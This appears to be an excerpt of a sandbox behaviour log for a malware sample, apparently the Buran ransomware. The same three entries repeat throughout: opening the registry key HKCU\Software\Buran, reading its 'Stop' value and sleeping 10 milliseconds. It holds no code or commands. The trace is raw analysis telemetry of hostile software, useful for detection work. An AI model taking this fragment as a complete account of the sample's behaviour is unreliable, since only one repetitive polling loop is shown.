Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Buran	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Buran, value_name = Stop, type = REG_NONE	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
